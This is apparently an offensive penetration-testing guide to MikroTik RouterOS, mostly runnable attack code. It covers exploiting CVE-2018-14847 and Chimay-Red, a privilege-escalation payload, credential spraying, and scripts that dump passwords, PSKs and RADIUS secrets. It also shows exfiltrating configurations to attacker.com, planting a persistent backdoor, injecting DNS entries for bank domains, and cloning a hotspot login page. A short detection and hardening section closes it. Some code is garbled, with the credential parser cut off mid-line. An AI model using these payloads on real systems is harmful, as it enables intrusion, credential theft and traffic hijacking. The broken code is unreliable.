MikroTik RouterOS powers millions of routers, switches, and hotspot controllers worldwide — from ISP core infrastructure to enterprise edge devices to home labs. The combination of a proprietary management protocol (WinBox), a raw TCP API port, SNMP community strings set to "public" by default, and admin accounts with empty passwords creates a uniquely rich attack surface. CVE-2018-14847 — a Vault 7-leaked 0-day that allows unauthenticated arbitrary file read over WinBox — remained unpatched on hundreds of thousands of devices years after disclosure. This guide covers the full RouterOS attack surface: WinBox exploitation, API credential extraction, SNMP configuration dumps, IPsec PSK recovery, and the DNS hijacking campaigns that abused compromised MikroTik devices at massive scale.
MikroTik RouterOS exposes a wide range of management interfaces, many of which are enabled by default and accessible on all interfaces unless explicitly restricted. Understanding the full port surface is the prerequisite for any engagement.
| Service | Protocol / Port | Default State | Risk Level | Notes |
|---|---|---|---|---|
| WinBox | TCP 8291 | Enabled | Critical | Proprietary binary protocol; CVE-2018-14847 target |
| RouterOS API | TCP 8728 | Disabled (easily enabled) | Critical | Plaintext credential transmission; full device control |
| RouterOS API-SSL | TCP 8729 | Disabled | High | TLS-wrapped API; weaker than it sounds if cert not validated |
| WebFig / HTTP | TCP 80 | Enabled | High | Web management interface; session fixation in older versions |
| WebFig / HTTPS | TCP 443 | Enabled | High | Self-signed cert; MitM risk; REST API endpoint |
| SSH | TCP 22 | Enabled | High | RouterOS shell access; supports key auth and password |
| Telnet | TCP 23 | Enabled (older firmware) | Critical | Cleartext; should always be disabled |
| FTP | TCP 21 | Enabled | High | File transfer; same credentials as management; cleartext |
| SNMP | UDP 161 | Disabled (common misconfiguration) | High | Default community "public"; full config read via MIB walk |
Begin engagements with a targeted Nmap scan covering all RouterOS management ports:
# Comprehensive MikroTik port scan
nmap -sV -p 21,22,23,80,443,8291,8728,8729 --open -T4 192.168.1.0/24
# Identify RouterOS with service version probing
nmap -sV --version-intensity 5 -p 8291 192.168.1.1
# Expected output for WinBox: "MikroTik RouterOS WinBox (6.x)" or similar
# SNMP check
nmap -sU -p 161 --script snmp-info 192.168.1.1
# Full banner grab on management ports
nmap -sV -p 22,80,443 --script banner,http-title 192.168.1.1
RouterOS devices typically identify themselves via SSH banners and HTTP response headers. The Server: header on WebFig reads nginx or micro_httpd depending on the RouterOS version, but the HTML title will confirm the MikroTik identity.
port:8291 or product:"MikroTik" return hundreds of thousands of results. ISP CPE devices are frequently accessible on their WAN interface because operators do not restrict management access per-interface.
CVE-2018-14847 is arguably the most impactful RouterOS vulnerability in history. It was derived from the Vault 7 CIA leak (specifically the "Chimay Red" tool) and disclosed publicly in April 2018. The vulnerability allows an unauthenticated attacker to read arbitrary files from the RouterOS filesystem over the WinBox protocol on TCP port 8291 — with no credentials required. The most valuable target is /flash/rw/store/user.dat, which contains all RouterOS user credentials in plaintext.
RouterOS versions prior to 6.42.1 (stable) and 6.40.8 (long-term) are vulnerable. Despite the patch being available since April 2018, Shodan continued to show over 900,000 vulnerable devices in 2019, and significant numbers remained unpatched well into 2022 due to the ISP deployment model where firmware updates require customer-side reboots.
The WinBox protocol (port 8291) uses a binary message format to bootstrap the WinBox GUI application. During the initial handshake phase — before authentication occurs — the protocol allows file reads intended to support the client bootstrapping process (downloading WinBox.exe components). The vulnerability exists because the file path in these pre-auth requests is not properly validated, allowing directory traversal to read any file on the device filesystem.
The user credential database /flash/rw/store/user.dat stores credentials in a proprietary binary format, but the passwords are stored without hashing in RouterOS versions 6.x. The file can be parsed with freely available tools to extract all usernames and passwords in cleartext.
# Clone the most widely used CVE-2018-14847 PoC
git clone https://github.com/BasuCert/WinboxPoC
cd WinboxPoC
# Compile (requires Go)
go build winboxPoC.go
# Read the user database file - no authentication required
./winboxPoC 192.168.1.1 /flash/rw/store/user.dat
# Example output:
# [+] Connecting to 192.168.1.1:8291
# [+] Connected. Sending exploit payload...
# [+] Success! File contents:
# Username: admin Password: RouterPass2024!
# Username: backup Password: Backup@123
# Username: monitor Password: (empty)
# Alternative: read other sensitive files
./winboxPoC 192.168.1.1 /flash/rw/store/user.dat.bak
./winboxPoC 192.168.1.1 /rw/store/user.dat
# Read running configuration (may contain PSK, RADIUS secrets)
./winboxPoC 192.168.1.1 /rw/pckg/option
# Read system identity and version info
./winboxPoC 192.168.1.1 /flash/rw/logs/persistent.0.txt
# chimay-red (from Vault 7 leak, publicly available)
# Also exploits a heap corruption bug (separate from CVE-2018-14847)
git clone https://github.com/BigNerd95/Chimay-Red
cd Chimay-Red
# Stage 1: Crash and identify memory addresses
python3 chimay-red.py stage1 192.168.1.1 80
# Stage 2: Exploit and achieve remote code execution
python3 chimay-red.py stage2 192.168.1.1 80 \
--exploit exploits/routeros_6_38_5_smips.exploit \
--payload payloads/traccar_v2.payload
# The chimay-red HTTP exploit targets port 80 (WWW service)
# Different vulnerability class from CVE-2018-14847 but often used together
The user.dat file is a binary RouterOS database format. After extraction it must be parsed:
# Python parser for user.dat (RouterOS credential database)
python3 - <<'EOF'
import struct
import sys
def parse_user_dat(filename):
"""Parse RouterOS user.dat credential store"""
with open(filename, 'rb') as f:
data = f.read()
# RouterOS user.dat uses a simple record format
# Each record: [length:2][type:1][data:length]
offset = 0
users = []
current_user = {}
while offset < len(data):
if offset + 3 > len(data):
break
length = struct.unpack('
user.dat via CVE-2018-14847 are frequently reused across the organization's infrastructure. ISP network engineers often use the same credentials on all managed CPE devices — a single exploit yields access to the entire managed network.
Discovered by Forescout Research and independently by VulnCheck in 2023, CVE-2023-30799 allows a RouterOS admin-level user to escalate to the "superadmin" role, which has unrestricted access to the underlying Linux system bypassing RouterOS sandboxing. This vulnerability affects RouterOS versions 6.x up to 6.49.7 and RouterOS 7.x up to 7.10 (stable).
RouterOS enforces a tiered privilege model: regular admin accounts operate within the RouterOS scripting environment with restricted shell access. Superadmin bypasses these restrictions and provides a root-equivalent shell on the underlying Linux-based system. From superadmin access, an attacker can install persistent backdoors that survive firmware updates, extract all credentials from memory, and pivot to any connected network segment.
# CVE-2023-30799 via RouterOS REST API
# Requires admin credentials (obtainable via CVE-2018-14847 or default creds)
# Step 1: Authenticate to REST API
curl -k -u admin:RouterPass2024! \
https://192.168.1.1/rest/system/identity
# Step 2: Trigger privilege escalation via Jsproxy
# The vulnerability lies in the Jsproxy component handling special characters
# in the REST API path that are not properly sanitized
# Proof-of-concept escalation request
curl -k -u admin:RouterPass2024! \
-X POST https://192.168.1.1/rest/system/script \
-H "Content-Type: application/json" \
-d '{"name":"pwn","source":"/system/console set \"; /execute script=\"\"\" + \"/\"+\"bin\"+\"/\"+ \"sh\" + \"\"\"; \" "}'
# VulnCheck public PoC (after responsible disclosure period)
# Targets the jsproxy handler deserialization path
git clone https://github.com/vulncheck-oss/cve-2023-30799-scanner
cd cve-2023-30799-scanner
python3 scanner.py --target 192.168.1.1 --user admin --pass RouterPass2024!
# Verification: check if escalation succeeded
ssh -o StrictHostKeyChecking=no admin@192.168.1.1
# After escalation, /system/console gives interactive Linux shell:
# BusyBox v1.36.0 (2023-01-01) built-in shell (ash)
# Enter 'help' for a list of built-in commands.
# [admin@MikroTik] >
# After achieving superadmin / Linux shell access
# Extract all stored credentials from memory
cat /rw/store/user.dat
# Read RADIUS shared secrets
cat /rw/flash/radius.db 2>/dev/null
# Extract IPsec secrets from running config
/ip/ipsec/installed-sa/print
grep -r "psk\|secret\|password" /rw/pckg/
# List all installed packages and versions
cat /rw/pckg/*/CONTROL/control
# Persistent backdoor installation
echo "#!/bin/sh
/bin/backdoor &" > /rw/pckg/persist.sh
chmod +x /rw/pckg/persist.sh
# Read the full running configuration
/export verbose
Every new MikroTik device ships with a single account named admin with an empty password. RouterOS 6.49+ introduced a forced password change dialog in the WinBox GUI, but the change is not enforced on SSH, API, or FTP connections — an empty password continues to work programmatically even after the GUI prompts for a change.
# Test default empty password via SSH
ssh admin@192.168.1.1
# Hit Enter at password prompt (empty password)
# Test via RouterOS API (Python)
python3 -c "
import socket
import hashlib
def test_mikrotik_default(host, port=8728):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
# RouterOS API login sequence
# Send: /login with no password
msg = b'\x06/login\x00'
sock.send(struct.pack('!B', len(msg)) + msg)
resp = sock.recv(1024)
print(f'Response: {resp}')
sock.close()
test_mikrotik_default('192.168.1.1')
"
# Automated default credential check with Medusa
medusa -h 192.168.1.1 -u admin -p '' -M ssh -t 1
# Hydra bruteforce against WinBox (custom module)
# Note: WinBox uses MD5 challenge-response; standard brute tools need custom modules
# RouterOS API brute force with custom wordlist
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
192.168.1.1 ftp -t 4 -V
# Common MikroTik admin passwords found in the wild
# (from paste sites and credential dumps after mass compromises)
cat > mikrotik_common.txt << 'EOF'
(empty)
admin
mikrotik
MikroTik
admin123
Admin123
router
Router
password
Password123
mikr0tik
1234567890
test
guest
EOF
# SSH credential spray across a subnet
for ip in $(nmap -sn 192.168.1.0/24 -oG - | grep Up | awk '{print $2}'); do
# Check if port 22 open
nc -zw2 $ip 22 2>/dev/null && \
sshpass -p '' ssh -o ConnectTimeout=3 \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
admin@$ip '/system identity print' 2>/dev/null | \
grep -q 'name:' && echo "[+] VALID EMPTY PASSWORD: $ip"
done
RouterSploit includes dedicated modules for MikroTik RouterOS exploitation, including CVE-2018-14847, default credential checks, and service enumeration:
# Install RouterSploit
pip3 install routersploit
# or:
git clone https://github.com/threat9/routersploit
cd routersploit && pip3 install -r requirements.txt
# Launch RouterSploit
python3 rsf.py
# Within RouterSploit:
rsf > use scanners/routers/mikrotik_scan
rsf (MikroTik Scanner) > set target 192.168.1.0/24
rsf (MikroTik Scanner) > run
# CVE-2018-14847 exploit module
rsf > use exploits/routers/mikrotik/winbox_disclosure
rsf (WinBox Disclosure) > set target 192.168.1.1
rsf (WinBox Disclosure) > check
[+] 192.168.1.1:8291 - Target appears to be VULNERABLE
rsf (WinBox Disclosure) > run
[*] Running module...
[+] Module finished, credentials found:
admin : MySecretPass99
# Default credential module
rsf > use creds/routers/mikrotik/default_creds
rsf (MikroTik Default Creds) > set target 192.168.1.1
rsf (MikroTik Default Creds) > run
# Use masscan for fast WinBox port discovery at scale
masscan -p 8291 10.0.0.0/8 --rate=10000 -oL winbox_hosts.txt
# Parse masscan output and test CVE-2018-14847
awk '/open/ {print $4}' winbox_hosts.txt | while read host; do
timeout 5 ./winboxPoC "$host" /flash/rw/store/user.dat 2>/dev/null | \
grep -q 'Username' && echo "[VULN] $host"
done
# Nmap NSE script for WinBox version detection
nmap -p 8291 --script winbox-info 192.168.1.0/24 2>/dev/null || \
nmap -p 8291 -sV 192.168.1.0/24
The RouterOS API on TCP 8728 provides programmatic access to the full RouterOS management interface. Unlike WinBox (which has the CVE-2018-14847 unauthenticated flaw), the API requires credentials — but once authenticated, it exposes the complete device configuration including all secrets. The API uses a custom binary protocol with word-based encoding.
# Install the routeros-api library
pip3 install routeros-api
# Full credential and configuration extraction script
python3 << 'EOF'
import routeros_api
def exploit_mikrotik_api(host, username='admin', password=''):
connection = routeros_api.RouterOsApiPool(
host,
username=username,
password=password,
port=8728,
plaintext_login=True # Required for older RouterOS versions
)
try:
api = connection.get_api()
print(f"[+] Connected to {host} as {username}")
# Dump all system users and passwords
print("\n[*] User accounts:")
users = api.get_resource('/user')
for user in users.get():
print(f" Username: {user.get('name')} | "
f"Group: {user.get('group')} | "
f"Password: {user.get('password','(hashed/empty)')}")
# Get system identity
identity = api.get_resource('/system/identity')
for item in identity.get():
print(f"\n[*] System identity: {item['name']}")
# Extract SNMP community strings
print("\n[*] SNMP communities:")
snmp = api.get_resource('/snmp/community')
for comm in snmp.get():
print(f" Community: {comm.get('name')} | "
f"Auth: {comm.get('authentication-password','(none)')} | "
f"Privacy: {comm.get('encryption-password','(none)')}")
# Extract RADIUS secrets
print("\n[*] RADIUS servers:")
try:
radius = api.get_resource('/radius')
for srv in radius.get():
print(f" Server: {srv.get('address')} | "
f"Secret: {srv.get('secret')} | "
f"Service: {srv.get('service')}")
except Exception as e:
print(f" No RADIUS config or access denied: {e}")
# Extract IPsec peers and PSKs
print("\n[*] IPsec profiles/PSKs:")
try:
ipsec = api.get_resource('/ip/ipsec/peer')
for peer in ipsec.get():
print(f" Peer: {peer.get('address')} | "
f"Secret: {peer.get('secret','(none)')}")
except Exception:
pass
# Extract PPPoE server credentials
print("\n[*] PPPoE secrets (first 20):")
try:
ppp = api.get_resource('/ppp/secret')
for secret in list(ppp.get())[:20]:
print(f" Name: {secret.get('name')} | "
f"Password: {secret.get('password')} | "
f"Profile: {secret.get('profile')}")
except Exception as e:
print(f" Error: {e}")
# Extract WLAN (WiFi) passwords
print("\n[*] Wireless security profiles:")
try:
wlan = api.get_resource('/interface/wireless/security-profiles')
for profile in wlan.get():
print(f" SSID Profile: {profile.get('name')} | "
f"WPA Key: {profile.get('wpa-pre-shared-key','(none)')} | "
f"WPA2 Key: {profile.get('wpa2-pre-shared-key','(none)')}")
except Exception:
pass
# Get full configuration export
print("\n[*] Exporting full configuration...")
export = api.get_binary_resource('/')
result = export.call('export')
if result:
with open(f'{host}_config_export.txt', 'wb') as f:
f.write(result)
print(f" Saved to {host}_config_export.txt")
connection.disconnect()
except routeros_api.exceptions.RouterOsApiConnectionError as e:
print(f"[-] Connection failed: {e}")
except routeros_api.exceptions.RouterOsApiCommunicationError as e:
print(f"[-] Auth failed: {e}")
# Run against target
exploit_mikrotik_api('192.168.1.1', 'admin', 'RouterPass2024!')
EOF
For environments where Python libraries are unavailable, the RouterOS API can be accessed with raw socket communication:
# Raw RouterOS API communication (bash + netcat approach)
# The protocol encodes each word with a length prefix
python3 << 'EOF'
import socket
import hashlib
class RawRouterOsApi:
def __init__(self, host, port=8728):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.connect((host, port))
self.sock.settimeout(10)
def encode_length(self, length):
if length < 0x80:
return bytes([length])
elif length < 0x4000:
length |= 0x8000
return bytes([(length >> 8) & 0xFF, length & 0xFF])
else:
length |= 0xC00000
return bytes([(length >> 16) & 0xFF, (length >> 8) & 0xFF, length & 0xFF])
def encode_word(self, word):
if isinstance(word, str):
word = word.encode('utf-8')
return self.encode_length(len(word)) + word
def send_sentence(self, words):
sentence = b''
for word in words:
sentence += self.encode_word(word)
sentence += b'\x00' # End of sentence
self.sock.send(sentence)
def login(self, username, password=''):
# Phase 1: initiate login
self.send_sentence(['/login', f'=name={username}', f'=password={password}'])
response = self.sock.recv(4096)
# Check for challenge (older auth) or direct login (newer)
if b'=ret=' in response:
# MD5 challenge-response auth
challenge = response.split(b'=ret=')[1].split(b'\x00')[0]
md5 = hashlib.md5()
md5.update(b'\x00')
md5.update(password.encode('utf-8'))
md5.update(bytes.fromhex(challenge.decode()))
response_hash = md5.hexdigest()
self.send_sentence(['/login', f'=name={username}', f'=response=00{response_hash}'])
response = self.sock.recv(4096)
return b'!done' in response
def run_command(self, command):
self.send_sentence([command])
data = b''
while True:
chunk = self.sock.recv(4096)
data += chunk
if b'!done' in chunk:
break
return data
api = RawRouterOsApi('192.168.1.1')
if api.login('admin', ''):
print("[+] Logged in with empty password")
result = api.run_command('/system/identity/print')
print(result.decode('utf-8', errors='replace'))
EOF
WebFig is the RouterOS web management interface, accessible on HTTP (port 80) and HTTPS (port 443). RouterOS 7.x introduced a proper REST API at /rest/. Several attack vectors exist against these interfaces.
# Session fixation vulnerability in RouterOS < 6.49
# The session token is predictable based on the timestamp
# Step 1: Observe session cookie format
curl -v http://192.168.1.1/ 2>&1 | grep -i 'set-cookie'
# Set-Cookie: sfx=0xxxxxx; path=/
# Step 2: Fix session before authentication
# Send a request with a known session ID
curl -b "sfx=DEADBEEFDEADBEEF" http://192.168.1.1/jsproxy
# Step 3: Trick admin into using this session (social engineering)
# Then use the fixed session to access the management interface
# Authentication bypass test (old RouterOS versions)
curl -s http://192.168.1.1/winbox/session \
-H "Authorization: Basic YWRtaW46" \
| head -c 200
# RouterOS 7.x REST API - full configuration read
BASE="https://192.168.1.1"
AUTH="admin:RouterPass2024!"
# System info
curl -k -u "$AUTH" "$BASE/rest/system/resource"
# Interface list
curl -k -u "$AUTH" "$BASE/rest/interface" | python3 -m json.tool
# DHCP leases - reveals internal network topology
curl -k -u "$AUTH" "$BASE/rest/ip/dhcp-server/lease" | python3 -m json.tool
# Firewall rules
curl -k -u "$AUTH" "$BASE/rest/ip/firewall/filter"
# NAT rules - reveals port forwarding targets
curl -k -u "$AUTH" "$BASE/rest/ip/firewall/nat"
# Routing table
curl -k -u "$AUTH" "$BASE/rest/ip/route"
# User accounts
curl -k -u "$AUTH" "$BASE/rest/user"
# Scheduler tasks (could contain credentials or malicious scripts)
curl -k -u "$AUTH" "$BASE/rest/system/scheduler"
# Scripts (may contain hardcoded credentials)
curl -k -u "$AUTH" "$BASE/rest/system/script"
# DNS configuration (static entries and upstream servers)
curl -k -u "$AUTH" "$BASE/rest/ip/dns/static"
curl -k -u "$AUTH" "$BASE/rest/ip/dns"
# Check for open WebFig without authentication
curl -s http://192.168.1.1/ | grep -i 'routeros\|mikrotik'
# Test common WebFig paths
for path in / /winbox /jsproxy /webfig /index.html /favicon.ico; do
code=$(curl -o /dev/null -s -w "%{http_code}" "http://192.168.1.1$path")
echo "$path -> $code"
done
# Capture WebFig session token from HTTP login POST
curl -v -X POST http://192.168.1.1/jsproxy \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=" 2>&1 | grep -E "cookie|location|200|302"
SNMP is disabled by default on RouterOS but is commonly enabled by ISPs and managed service providers for monitoring. The default community string is public. When SNMP v1/v2c is enabled with default or guessed community strings, an attacker can dump the complete device configuration — including interface details, routing tables, and in some cases credentials — via SNMP MIB walks.
# Test default community strings
for community in public private monitor read write MikroTik mikrotik admin cisco; do
result=$(snmpwalk -v2c -c "$community" -t 3 192.168.1.1 system 2>&1)
if echo "$result" | grep -q 'sysDescr\|STRING'; then
echo "[+] Valid community: $community"
echo "$result" | head -3
fi
done
# Using onesixtyone for fast SNMP community string discovery
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt \
192.168.1.1
# Nmap SNMP scripts
nmap -sU -p 161 --script snmp-brute,snmp-info,snmp-sysdescr 192.168.1.1
# MikroTik-specific SNMP MIB walk
# Get system description (includes RouterOS version)
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.1.1
# Walk the entire MikroTik MIB tree
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.4.1.14988 2>/dev/null | head -100
# MikroTik OID for interface names (1.3.6.1.4.1.14988.1.1.14)
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.4.1.14988.1.1.14
# LLDP neighbor discovery via SNMP
snmpwalk -v2c -c public 192.168.1.1 1.0.8802.1.1.2
# Get all IP addresses
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.4.20
# Interface table
snmpwalk -v2c -c public 192.168.1.1 ifTable
# ARP table - reveals connected hosts
snmpwalk -v2c -c public 192.168.1.1 ipNetToMediaPhysAddress
# Use snmp-check for comprehensive enumeration
snmp-check -c public -v 2c 192.168.1.1
# SNMP v3 auth bypass test (some devices accept empty auth)
snmpwalk -v3 -l noAuthNoPriv -u admin 192.168.1.1 system
private) is guessable, SNMP v2c write access allows reconfiguring the device entirely — including setting a new admin password, modifying routing tables, or injecting DNS entries — without any logged authentication event.
RouterOS supports two types of configuration exports: binary backup files (.backup) and plaintext rsc exports. Both contain sensitive information including all credentials, PSKs, RADIUS secrets, and PPPoE passwords.
# Create a backup via SSH then download via FTP
ssh admin@192.168.1.1 '/system backup save name=pentest_backup'
# Download via FTP (cleartext, same credentials)
ftp 192.168.1.1 << 'EOF'
admin
RouterPass2024!
binary
get pentest_backup.backup
bye
EOF
# Convert binary backup to readable format
# RouterOS backup format is GZIP-compressed
file pentest_backup.backup
# MikroTik RouterOS backup (if file command knows this format)
# Decompress (v6 backups may be gzip)
zcat pentest_backup.backup > backup_extracted || \
gunzip -c pentest_backup.backup > backup_extracted 2>/dev/null
# Search for credentials in extracted backup
strings backup_extracted | grep -iE 'password|secret|psk|key' | head -30
# Full configuration export with all sensitive data visible
ssh admin@192.168.1.1 '/export verbose' > full_config.rsc
# Parse sensitive values from the export
grep -E 'secret=|password=|psk=|pre-shared-key=|wpa.*key=' full_config.rsc
# Example export lines revealing credentials:
# /ip ipsec peer add address=203.0.113.50 secret="VerySecretPSK123" ...
# /ppp secret add name=customer1 password="CustomerPass!" ...
# /interface wireless security-profiles add wpa2-pre-shared-key="WifiPassword2024"
# /radius add address=10.0.0.10 secret="RadiusSharedSecret" service=ppp
# Export only PPPoE secrets
ssh admin@192.168.1.1 '/ppp secret print detail' | grep -E 'name|password'
# Export scheduler tasks (may contain embedded scripts with credentials)
ssh admin@192.168.1.1 '/system scheduler print detail'
# WinBox saves local copies of device configurations in:
# Windows: %APPDATA%\Winbox\*.backup
# These files mirror the RouterOS binary backup format
# Search for WinBox cache files on Windows client
dir /s /b %APPDATA%\Winbox\*.* 2>nul
# Linux equivalent (wine/WinBox):
find ~/.wine -name "*.backup" -o -name "user.dat" 2>/dev/null
# Parse WinBox address book for stored credentials
find ~/.wine -name "address.cdb" 2>/dev/null
# Contains: hostname, username, password (obfuscated but reversible in old versions)
The RouterOS /tool/fetch command downloads files from URLs to the router's filesystem. When an attacker has admin access (e.g., via CVE-2018-14847 or default credentials), this command can be abused as an SSRF primitive to reach internal network segments inaccessible from the attacker's position.
# SSRF via RouterOS fetch command
# The router makes the HTTP request from its perspective
# Port scanning internal network via fetch
ssh admin@192.168.1.1 << 'EOF'
# Scan for web servers on internal 10.0.0.0/24
:for i from=1 to=254 do={
:do {
/tool fetch url=("http://10.0.0." . $i . "/") \
mode=http dst-path=("/dev/null") \
keep-result=no
:log info ("OPEN: 10.0.0." . $i . ":80")
} on-error={
# Connection refused or timeout - port closed
}
}
EOF
# Exfiltrate data via fetch (router posts data to attacker server)
ssh admin@192.168.1.1 '/tool fetch url="http://attacker.com/collect" \
http-method=post \
http-data=([/export verbose]) \
mode=http'
# Internal metadata service access (cloud-hosted routers)
ssh admin@192.168.1.1 \
'/tool fetch url="http://169.254.169.254/latest/meta-data/" \
mode=http dst-path="metadata.txt"; \
:put [/file get "metadata.txt" contents]'
# Fetch from internal services (bypass perimeter controls)
ssh admin@192.168.1.1 \
'/tool fetch url="http://192.168.100.1:8080/admin/" \
mode=http dst-path="internal_admin.html"'
RouterOS is widely used as a VPN endpoint — both for site-to-site IPsec tunnels and remote-access IPsec/IKEv2 connections. Pre-shared keys (PSKs) are stored in the RouterOS configuration database and are recoverable via multiple attack paths.
# Extract IPsec PSKs via RouterOS API
python3 << 'EOF'
import routeros_api
api_pool = routeros_api.RouterOsApiPool(
'192.168.1.1', username='admin', password='RouterPass2024!',
port=8728, plaintext_login=True
)
api = api_pool.get_api()
# IPsec peers (IKEv1/IKEv2 site-to-site)
print("=== IPsec Peers ===")
ipsec_peers = api.get_resource('/ip/ipsec/peer')
for peer in ipsec_peers.get():
print(f" Remote: {peer.get('address','any')} | "
f"Auth: {peer.get('auth-method','psk')} | "
f"Secret: {peer.get('secret','(none)')}")
# IPsec identities (IKEv2)
print("\n=== IPsec Identities ===")
try:
identities = api.get_resource('/ip/ipsec/identity')
for ident in identities.get():
print(f" Remote: {ident.get('remote-id','any')} | "
f"Auth: {ident.get('auth-method')} | "
f"Secret: {ident.get('secret','(none)')}")
except Exception as e:
print(f" Error: {e}")
# L2TP/IPsec server secrets
print("\n=== L2TP Server Config ===")
try:
l2tp = api.get_resource('/interface/l2tp-server/server')
for s in l2tp.get():
print(f" Enabled: {s.get('enabled')} | "
f"IPsec Secret: {s.get('ipsec-secret','(none)')}")
except Exception:
pass
api_pool.disconnect()
EOF
# Via SSH export
ssh admin@192.168.1.1 '/ip ipsec peer print detail' | grep -E 'address|secret'
ssh admin@192.168.1.1 '/ip ipsec identity print detail' | grep -E 'remote|secret'
# IKEv2 server PSK (commonly used for iOS/Android road warrior VPN)
ssh admin@192.168.1.1 '/interface l2tp-server server print' | grep ipsec-secret
# Convert captured IKE handshake to hashcat format for offline cracking
# (when PSK not directly readable but IKE handshake was captured)
ikescan2john.py capture.ike > ike_hashes.txt
hashcat -m 5300 ike_hashes.txt /usr/share/wordlists/rockyou.txt
# IKEv2 hash cracking (Hashcat mode 5400)
hashcat -m 5400 ikev2_hashes.txt /usr/share/wordlists/rockyou.txt
# Using ike-scan to capture the handshake
ike-scan --trans=5,2,1,2 --showbackoff 203.0.113.50 | tee ike_capture.txt
Compromised MikroTik devices have been systematically abused in multiple large-scale DNS hijacking campaigns. Because MikroTik is deployed at the ISP CPE layer, a single compromised router affects all DNS resolution for every device behind it. Two campaigns stand out for their scale and sophistication.
The VPNFilter malware (attributed to Russian APT Sandworm) infected over 500,000 routers across 54 countries, with MikroTik being a primary target. VPNFilter implemented a DNS hijacking module that redirected specific banking and financial domains to attacker-controlled servers while passing all other traffic transparently.
Millions of MikroTik routers were enrolled in botnet infrastructure. The infection vector was CVE-2018-14847 (unpatched 3-4 years after disclosure) plus default credentials. Once compromised, the routers modified their DNS settings and injected malicious DNS responses for targeted domains.
# After gaining admin access to a MikroTik device
# Inject malicious static DNS entries
# Via SSH
ssh admin@192.168.1.1 << 'EOF'
# Add malicious static DNS entries (targeting attacker's IP)
/ip dns static add name=bank.example.com address=198.51.100.1
/ip dns static add name=auth.example.com address=198.51.100.1
/ip dns static add name=login.example.com address=198.51.100.1
# Change upstream DNS to attacker-controlled server
/ip dns set servers=198.51.100.2
# Enable DNS cache to intercept all queries
/ip dns set allow-remote-requests=yes
# Verify changes
/ip dns print
/ip dns static print
EOF
# Detect DNS hijacking on a MikroTik device (defense perspective)
ssh admin@192.168.1.1 '/ip dns static print' | grep -v '^#'
ssh admin@192.168.1.1 '/ip dns print' | grep servers
# MikroTik Hotspot (used in hotels, airports, cafes) can be abused
# after compromise to inject malicious content or capture credentials
# Check if hotspot is configured
ssh admin@192.168.1.1 '/ip hotspot print'
# View current hotspot HTML files (credential harvesting opportunity)
ssh admin@192.168.1.1 '/file print where name~"hotspot"'
# Replace login page with credential-harvesting clone
scp malicious_login.html admin@192.168.1.1:/hotspot/login.html
Detecting attacks against MikroTik devices requires both network-level monitoring and device-level logging analysis.
# View RouterOS system logs
ssh admin@192.168.1.1 '/log print follow where topics~"system\|warning\|error"'
# Check for authentication failures
ssh admin@192.168.1.1 '/log print where topics~"system" and message~"login failure"'
# Check for unusual API or WinBox connections
ssh admin@192.168.1.1 '/log print where topics~"manager\|winbox"'
# Check for unexplained scheduler tasks (malware persistence)
ssh admin@192.168.1.1 '/system scheduler print'
# Check for unexpected scripts
ssh admin@192.168.1.1 '/system script print'
# Check for unexpected static DNS entries
ssh admin@192.168.1.1 '/ip dns static print'
# Check active connections to management ports
ssh admin@192.168.1.1 '/ip firewall connection print where dst-port=8291 or dst-port=8728'
# Detect CVE-2018-14847 exploitation attempts (IDS/IPS rule)
# Suricata/Snort rule targeting the WinBox pre-auth file read pattern
cat << 'EOF' > mikrotik_winbox_exploit.rules
# CVE-2018-14847 WinBox arbitrary file read detection
alert tcp any any -> any 8291 (
msg:"MIKROTIK CVE-2018-14847 WinBox Arbitrary File Read Attempt";
content:"|6f 01 00 66 4c 01 00 ff 09 00 ff 08 00 66 4c 00 00|";
depth:20;
threshold:type limit, track by_src, count 1, seconds 60;
classtype:attempted-admin;
sid:9001847; rev:2;
)
# Detect WinBox connections from unexpected sources
alert tcp $EXTERNAL_NET any -> $HOME_NET 8291 (
msg:"MIKROTIK WinBox Connection from External Network";
flags:S;
threshold:type limit, track by_src, count 1, seconds 300;
classtype:policy-violation;
sid:9001848; rev:1;
)
EOF
# Check for the user.dat filename in network traffic
tcpdump -A -i eth0 'tcp port 8291' | grep -a 'user.dat'
# Monitor SNMP walk activity
tcpdump -i eth0 'udp port 161' -nn | awk '{print $3}' | sort | uniq -c | sort -rn | head
| Indicator | Command to Check | What It Means |
|---|---|---|
| Unexpected scheduler tasks | /system scheduler print |
Persistence mechanism; malware often adds cron-style tasks |
| Unknown scripts | /system script print |
Backdoor scripts; check content for Base64 or HTTP fetch calls |
| Modified DNS servers | /ip dns print |
DNS hijacking; compare against known-good ISP DNS IPs |
| Static DNS entries | /ip dns static print |
Domain hijacking entries for financial/auth targets |
| Unexpected users | /user print |
Backdoor accounts added post-compromise |
| Firewall rule changes | /ip firewall filter print |
Rules disabling security or allowing new access |
| Proxy/SOCKS enabled | /ip socks print |
Router enrolled as proxy node in botnet |
| Unusual fetch activity | /log print where message~"fetch" |
C2 check-in or data exfiltration in progress |
| Control | Implementation | Priority |
|---|---|---|
| Patch CVE-2018-14847 | Upgrade to RouterOS 6.49.x (stable) or 7.x — IMMEDIATELY | Critical |
| Patch CVE-2023-30799 | Upgrade to RouterOS 6.49.8+ or 7.10.1+ | Critical |
| Change default credentials | Set a strong password on admin; create named accounts; disable anonymous login | Critical |
| Restrict management interfaces | Use /ip service set winbox address=10.0.0.0/8 to allow-list management sources; disable all unused services (telnet, ftp, api) |
Critical |
| Disable unused services | /ip service disable telnet,ftp,api,www — only enable SSH + WinBox + API-SSL from trusted subnets |
High |
| SNMP hardening | Disable SNMP if not needed; use SNMPv3 with auth+priv; change community strings | High |
| Enable firewall on management ports | Block TCP 8291, 8728, 8729, 22 from all interfaces except management VLAN/IP range | High |
| Enable SSH key authentication | Import public keys to admin account; disable password auth: /ip ssh set strong-crypto=yes |
High |
| RouterOS API-SSL only | Disable plaintext API (TCP 8728); use API-SSL (TCP 8729) with a valid certificate | High |
| Enable logging to syslog | Forward logs to central SIEM: /system logging action set remote remote=10.0.0.5 |
Medium |
